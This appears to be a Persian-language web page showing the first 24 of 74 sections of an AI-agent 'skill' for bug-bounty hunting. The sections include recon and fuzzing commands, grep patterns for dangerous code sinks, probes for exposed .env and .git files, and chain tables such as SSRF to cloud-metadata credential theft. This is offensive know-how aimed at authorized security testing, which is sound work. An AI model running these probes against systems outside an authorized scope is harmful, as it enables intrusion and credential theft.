bug-bounty

skillupstreamروش‌شناسی۷۶ کیلوبایت۷۴ بخش

‏workflow کامل باگ‌بانتی — ‏recon ‏(enum مربوط به ساب‌دامین، ‏کشف asset، ‏fingerprinting، ‏scope مربوط به HackerOne، ‏audit مربوط به سورس‌کد)، ‏یادگیری pre-hunt ‏(گزارش‌های افشاشده، ‏تحقیق tech stack، ‏نقشه‌های ذهنی، ‏مدل‌سازی تهدید)، ‏شکار آسیب‌پذیری ‏(IDOR، ‏SSRF، ‏XSS، ‏دورزدن auth، ‏CSRF، ‏race condition، ‏SQLi، ‏XXE، ‏آپلود فایل، ‏منطق کسب‌وکار، ‏GraphQL، ‏قاچاق HTTP، ‏مسمومیت cache، ‏OAuth، ‏کانال-جانبی timing، ‏OIDC، ‏SSTI، ‏تصرف ساب‌دامین، ‏misconfig ابری، ‏زنجیره‌های ATO، ‏AI عاملی)، ‏تست امنیت LLM/AI ‏(IDOR مربوط به chatbot، ‏تزریق prompt، ‏تزریق غیرمستقیم، ‏قاچاق ASCII، ‏کانال‌های exfil، ‏RCE از طریق ابزارهای کد، ‏استخراج system prompt، ‏ASI01-ASI10)، ‏زنجیره‌سازی باگ A-به-B ‏(IDOR←دورزدن auth، ‏SSRF←متادیتای ابری، ‏XSS←ATO، ‏open redirect←سرقت OAuth، ‏S3←bundle←secret←OAuth)، ‏جدول‌های bypass ‏(bypass مربوط به IP مربوط به SSRF، ‏bypass مربوط به open redirect، ‏bypass مربوط به آپلود فایل)، ‏grep مخصوص-زبان ‏(آلودگی prototype مربوط به JS، ‏pickle مربوط به Python، ‏juggling مربوط به type مربوط به PHP، ‏template.HTML مربوط به Go، ‏YAML.load مربوط به Ruby، ‏unwrap مربوط به Rust) و گزارش‌دهی ‏(گیت ۷-سؤالی، ‏۴ گیت validation، ‏نگارش لحن-انسانی، ‏تمپلیت بر اساس کلاس vuln، ‏CVSS 3.1، ‏تولید PoC، ‏لیست همیشه-ردشده، ‏جدول زنجیره‌ی شرطی، ‏چک‌لیست submission). ‏برای **هر** تسک باگ‌بانتی استفاده کن — شروع هدف جدید، ‏recon، ‏شکار vulnهای خاص، ‏audit سورس‌کد، ‏تست فیچرهای AI، ‏validation یافته‌ها یا نوشتن گزارش. ‏中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

توضیح انگلیسی اصلی (مرجع)

Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

فلوی اجرای گام‌به‌گام

◆
bug-bountyشروع اجرا
۱
‏به‌عنوان مهاجم لاگین کن ‏(اکانت A)
۲
‏درخواست بفرست: ‏[درخواست دقیق را paste کن]
۳
‏مشاهده کن: ‏[پاسخ دقیق نشان‌دهنده‌ی باگ]
۴
‏تأیید کن: ‏[مهاجم چه به‌دست آورد]
۵
‏یک eval set مربوط به CVE بساز — ‏۵-۱۰ CVE قبلی برای کدبیس هدف جمع کن
۶
‏باگ‌های قدیمی را بازتولید کن — ‏وریفای کن می‌توانی الگو را در کد قدیمی‌تر پیدا کنی
۷
‏‏pattern-match رو به جلو — ‏همان anti-pattern را در کد فعلی جستجو کن
۸
‏روی سطوح حمله‌ی پهن تمرکز کن — ‏موتورهای JS، ‏parserها، ‏هرچیزی که ورودی خارجی نامعتبر را پردازش می‌کند
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۸ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

bug-bountyروش‌شناسی · ۷۴ بخش۱نمای کلی و کاربرد۲بخش تکمیلی۳بخش تکمیلی۴بخش تکمیلی۵بخش تکمیلی۶بخش تکمیلی۷دروازه‌ی اعتبارسنجی۸بخش تکمیلی۹بخش تکمیلی۱۰ابزار و نکاتعملیاتی۱۱بخش تکمیلی۱۲بخش تکمیلی۱۳ابزار و نکاتعملیاتی۱۴سطح حمله وسیگنال‌ها۱۵سطح حمله وسیگنال‌ها۱۶بخش تکمیلی۱۷نمای کلی و کاربرد۱۸دروازه‌ی اعتبارسنجی۱۹سطح حمله وسیگنال‌ها۲۰بخش تکمیلی+۵۴ بخش دیگر
نمای کلی و کاربرد · ۵۴دروازه‌ی اعتبارسنجی · ۸سطح حمله و سیگنال‌ها · ۴نمونه‌های واقعی و impact · ۳Payload و الگوهای تشخیص · ۵

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۷۴

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

۲

بخش تکمیلی

THE ONLY QUESTION THAT MATTERS
ترجمه‌ی کامل ✓بخش ۲ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
PatternKill Reason
"Could theoretically allow..."Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."Too many preconditions
"Wrong implementation but no practical impact"Wrong but harmless = not a bug
Dead code with a bug in itNot reachable = not a bug
Source maps without secretsNo impact
SSRF with DNS-only callbackNeed data exfil or internal access
Open redirect aloneNeed ATO or OAuth chain
"Could be used in a chain if..."Build the chain first, THEN report

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.


۳

بخش تکمیلی

CRITICAL RULES
ترجمه‌ی کامل ✓بخش ۳ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

  1. ‏اول کل scope را بخوان — ‏وریفای کن هر asset/دامین متعلق به سازمان هدف است
  2. ‏باگ تئوریک نه — ‏«آیا مهاجم می‌تواند همین حالا وجه بدزدد، ‏PII لو دهد، ‏اکانت تصرف کند یا کد اجرا کند؟» ‏اگر نه، ‏توقف.
  3. ‏یافته‌های ضعیف را سریع بکش — ‏گیت ۷-سؤالی را قبل از نوشتن هر گزارشی اجرا کن
  4. ‏قبل از نوشتن validate کن — ‏اول CHANGELOG، ‏مستندات طراحی، ‏اسکریپت‌های deploy را چک کن
  5. ‏هر بار یک کلاس باگ — ‏عمیق برو، ‏پخش نکن
  6. ‏وریفای کن داده قبلاً عمومی نیست — ‏قبل از گزارش «نشت» API، ‏UI وب را در incognito چک کن
  7. ‏قاعده‌ی ۵-دقیقه — ‏اگر هدف بعد از ۵ دقیقه پروب چیزی نشان نداد ‏(همه ۴۰۱/۴۰۳/۴۰۴)، ‏برو جلو
  8. ‏شکار impact-اول — ‏بپرس «بدترین چیز اگر auth شکسته شود چیست؟» ‏اگر چیز باارزشی نیست، ‏هدف را رد کن
  9. ‏نشت‌های CREDENTIAL به اثبات بهره‌برداری نیاز دارند — ‏یافتن کلیدها کافی نیست، ‏باید ثابت کنی به چه دسترسی می‌دهند
  10. ‏‏مارپیچ‌های recon کم‌عمق را متوقف کن — ‏روی ۴۰۳ها پروب نکن، ‏برای کلیدهای analytics grep نکن، ‏دامین‌های staging که به‌جایی نمی‌رسند را چک نکن
  11. ‏‏impact کسب‌وکار بالاتر از کلاس vuln — ‏شدت به بافت بستگی دارد، ‏نه فقط نوع vuln
  12. ‏هدف را عمیق بفهم — ‏قبل از hunt، ‏اپ را مثل کاربر واقعی یاد بگیر
  13. ‏بیش‌از‌حد به اتومیشن تکیه نکن — ‏اسکن‌های خودکار به WAFها می‌خورند، ‏rate limitها را تریگر می‌کنند، ‏همان باگ‌هایی را پیدا می‌کنند که بقیه پیدا می‌کنند
  14. ‏کلاس‌های vuln کم‌اشباع را hunt کن — ‏XSS/SSRF/XXE بیشترین رقابت را دارند. ‏بسط بده به: ‏مسمومیت cache، ‏vulnهای اندروید/موبایل، ‏منطق کسب‌وکار، ‏race conditionها، ‏زنجیره‌های OAuth/OIDC، ‏حملات پایپ‌لاین CI/CD
  15. ‏قاعده‌ی یک‌ساعت — ‏یک ساعت روی یک هدف بدون پیشرفت گیر کردی؟ ‏بافت را عوض کن
  16. ‏رویکرد دو-چشمی — ‏تست سیستماتیک ‏(چک‌لیست) را با تشخیص ناهنجاری ‏(مراقب رفتار غیرمنتظره باش) ترکیب کن
  17. ‏دانش T-شکل — ‏در یک ناحیه عمیق و در بقیه پهن شو
‏برای متدولوژی کامل hunt — ‏workflow مربوط به ۵-فاز غیرخطی، ‏فریم‌ورک روان‌شناسی توسعه‌دهنده، ‏انضباط session، ‏مسیریابی ابزار بر اساس فاز و انتخاب مسیر Wide/Deep — ‏‏skills/bb-methodology/SKILL.md را ببین.
اسکیل‌های مرتبط:
۴

بخش تکمیلی

A->B BUG SIGNAL METHOD (Cluster Hunting)
ترجمه‌ی کامل ✓بخش ۴ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains
Bug A (Signal)Hunt for Bug BEscalate to C
IDOR (read)PUT/DELETE on same endpointFull account data manipulation
SSRF (any)Cloud metadata 169.254.169.254IAM credential exfil -> RCE
XSS (stored)Check if HttpOnly is set on session cookieSession hijack -> ATO
Open redirectOAuth redirect_uri accepts your domainAuth code theft -> ATO
S3 bucket listingEnumerate JS bundlesGrep for OAuth client_secret -> OAuth chain
Rate limit bypassOTP brute forceAccount takeover
GraphQL introspectionMissing field-level authMass PII exfil
Debug endpointLeaked environment variablesCloud credential -> infrastructure access
CORS reflects originTest with credentials: includeCredentialed data theft
Host header injectionPassword reset poisoningATO via reset link
Cluster Hunt Protocol (6 Steps)
1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

# TOP 1% HACKER MINDSET

۵

بخش تکمیلی

How Elite Hackers Think Differently
ترجمه‌ی کامل ✓بخش ۵ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Average hunter: Runs tools, checks checklist, gives up after 30 min.

Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

۶

بخش تکمیلی

Pre-Hunt Mental Framework
ترجمه‌ی کامل ✓بخش ۶ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏‏گام ۱: ‏تفکر Crown-Jewel

‏قبل از لمس هرچیز، ‏بپرس: «اگر من مهاجم بودم و می‌توانستم یک کار به این اپ بکنم، ‏چه چیزی بیشترین آسیب را می‌زند؟»

  • ‏اپ مالی ← ‏خالی‌کردن وجه، ‏انتقال به اکانت مهاجم
  • ‏سلامت ← ‏نشت PII، ‏نقض HIPAA
  • ‏‏SaaS ← ‏عبور داده‌ی tenant، ‏تصرف admin
  • ‏‏provider مربوط به auth ← ‏مصالحه‌ی کامل زنجیره‌ی SSO
‏‏گام ۲: ‏همدلی با توسعه‌دهنده

‏مثل توسعه‌دهنده‌ای فکر کن که فیچر را ساخت:

  • ‏ساده‌ترین پیاده‌سازی چه بود؟
  • ‏چه میان‌بری را dev خسته ساعت ۲ شب می‌گرفت؟
  • ‏‏auth کجا چک می‌شود — ‏controller؟ ‏middleware؟ ‏لایه‌ی DB؟
  • ‏وقتی endpoint B را بدون عبور از endpoint A صدا می‌زنی چه می‌شود؟
‏‏گام ۳: ‏نگاشت مرز اعتماد
Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
‏‏گام ۴: ‏تفکر تعامل-فیچر
  • ‏آیا این فیچر جدید auth قدیمی را reuse می‌کند، یا مال خودش را دارد؟
  • ‏آیا API موبایل منطق auth را با اپ وب به اشتراک می‌گذارد؟
  • ‏آیا این فیچر توسط همان تیم یا third-party ساخته شده؟
۷

دروازه‌ی اعتبارسنجی

The Top 1% Mental Checklist
ترجمه‌ی کامل ✓بخش ۷ از ۷۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] I know the app's core business model
  • [ ] I've used the app as a real user for 15+ minutes
  • [ ] I know the tech stack (language, framework, auth system, caching)
  • [ ] I've read at least 3 disclosed reports for this program
  • [ ] I have 2 test accounts ready (attacker + victim)
  • [ ] I've defined my primary target: ONE crown jewel I'm hunting for today
مراحل استخراج‌شده
  1. ۱[ ] I know the app's core business model
  2. ۲[ ] I've used the app as a real user for 15+ minutes
  3. ۳[ ] I know the tech stack (language, framework, auth system, caching)
  4. ۴[ ] I've read at least 3 disclosed reports for this program
  5. ۵[ ] I have 2 test accounts ready (attacker + victim)
  6. ۶[ ] I've defined my primary target: ONE crown jewel I'm hunting for today
۸

بخش تکمیلی

Mindset Rules from Top Hunters
ترجمه‌ی کامل ✓بخش ۸ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.


# TOOLS

۹

بخش تکمیلی

Go Binaries
ترجمه‌ی کامل ✓بخش ۹ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

ToolUse
subfinderPassive subdomain enum
httpxProbe live hosts
dnsxDNS resolution
nucleiTemplate scanner
katanaCrawl
waybackurlsArchive URLs
gauKnown URLs
dalfoxXSS scanner
ffufFuzzer
anewDedup append
qsreplaceReplace param values
assetfinderSubdomain enum
gfGrep patterns (xss, sqli, ssrf, redirect)
interactsh-clientOOB callbacks
۱۰

ابزار و نکات عملیاتی

Tools to Install When Needed
ترجمه‌ی کامل ✓بخش ۱۰ از ۷۴

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

ToolUseInstall
arjunHidden parameter discoverypip3 install arjun
paramspiderURL parameter miningpip3 install paramspider
kiterunnerAPI endpoint brutego install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenumCloud asset enumerationpip3 install cloud_enum
trufflehogSecret scanningbrew install trufflehog
gitleaksSecret scanningbrew install gitleaks
XSStrikeAdvanced XSS scannerpip3 install xsstrike
SecretFinderJS secret extractionpip3 install secretfinder
sqlmapSQL injectionpip3 install sqlmap
subzySubdomain takeovergo install github.com/LukaSikic/subzy@latest
۱۱

بخش تکمیلی

Static Analysis (Semgrep Quick Audit)
ترجمه‌ی کامل ✓بخش ۱۱ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
۱۲

بخش تکمیلی

FFUF Advanced Techniques
ترجمه‌ی کامل ✓بخش ۱۲ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output
۱۳

ابزار و نکات عملیاتی

AI-Assisted Tools
ترجمه‌ی کامل ✓بخش ۱۳ از ۷۴

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • strix (usestrix.com) -- open-source AI scanner for automated initial sweep

# PHASE 1: RECON

۱۴

سطح حمله و سیگنال‌ها

Standard Recon Pipeline
ترجمه‌ی کامل ✓بخش ۱۴ از ۷۴

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
۱۵

سطح حمله و سیگنال‌ها

Cloud Asset Enumeration
ترجمه‌ی کامل ✓بخش ۱۵ از ۷۴

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
۱۶

بخش تکمیلی

API Endpoint Discovery
ترجمه‌ی کامل ✓بخش ۱۶ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
۱۷

نمای کلی و کاربرد

HackerOne Scope Retrieval
ترجمه‌ی کامل ✓بخش ۱۷ از ۷۴

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'
۱۸

دروازه‌ی اعتبارسنجی

Quick Wins Checklist
ترجمه‌ی کامل ✓بخش ۱۸ از ۷۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Subdomain takeover (subjack, subzy)
  • [ ] Exposed .git (/.git/config)
  • [ ] Exposed env files (/.env, /.env.local)
  • [ ] Default credentials on admin panels
  • [ ] JS secrets (SecretFinder, jsluice)
  • [ ] Open redirects (?redirect=, ?next=, ?url=)
  • [ ] CORS misconfig (test Origin: https://evil.com + credentials)
  • [ ] S3/cloud buckets
  • [ ] GraphQL introspection enabled
  • [ ] Spring actuators (/actuator/env, /actuator/heapdump)
  • [ ] Firebase open read (https://TARGET.firebaseio.com/.json)
مراحل استخراج‌شده
  1. ۱[ ] Subdomain takeover (`subjack`, `subzy`)
  2. ۲[ ] Exposed `.git` (`/.git/config`)
  3. ۳[ ] Exposed env files (`/.env`, `/.env.local`)
  4. ۴[ ] Default credentials on admin panels
  5. ۵[ ] JS secrets (SecretFinder, jsluice)
  6. ۶[ ] Open redirects (`?redirect=`, `?next=`, `?url=`)
  7. ۷[ ] CORS misconfig (test `Origin: https://evil.com` + credentials)
  8. ۸[ ] S3/cloud buckets
  9. ۹[ ] GraphQL introspection enabled
  10. ۱۰[ ] Spring actuators (`/actuator/env`, `/actuator/heapdump`)
  11. ۱۱[ ] Firebase open read (`https://TARGET.firebaseio.com/.json`)
۱۹

سطح حمله و سیگنال‌ها

Technology Fingerprinting
ترجمه‌ی کامل ✓بخش ۱۹ از ۷۴

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

SignalTechnology
Cookie: XSRF-TOKEN + *_sessionLaravel
Cookie: PHPSESSIDPHP
Header: X-Powered-By: ExpressNode.js/Express
Response: wp-json/wp-contentWordPress
Response: {"errors":[{"message":GraphQL
Header: X-Powered-By: Next.jsNext.js
۲۰

بخش تکمیلی

Framework Quick Wins
ترجمه‌ی کامل ✓بخش ۲۰ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log

WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1

Node.js: /.env, /graphql (introspection), /_debug

AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

۲۱

سطح حمله و سیگنال‌ها

Source Code Recon
ترجمه‌ی کامل ✓بخش ۲۱ از ۷۴

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
Language-Specific Grep Patterns
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

# PHASE 2: LEARN (Pre-Hunt Intelligence)

۲۲

نمونه‌های واقعی و impact

Read Disclosed Reports
ترجمه‌ی کامل ✓بخش ۲۲ از ۷۴

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'
۲۳

بخش تکمیلی

"What Changed" Method
ترجمه‌ی کامل ✓بخش ۲۳ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

  1. ‏گزارش افشاشده برای تکنولوژی مشابه پیدا کن
  2. ‏کامیت فیکس را بگیر
  3. ‏‏diff را بخوان — ‏anti-pattern را شناسایی کن
  4. ‏هدف‌ات را برای همان anti-pattern بگرد
۲۴

بخش تکمیلی

Threat Model Template
ترجمه‌ی کامل ✓بخش ۲۴ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___
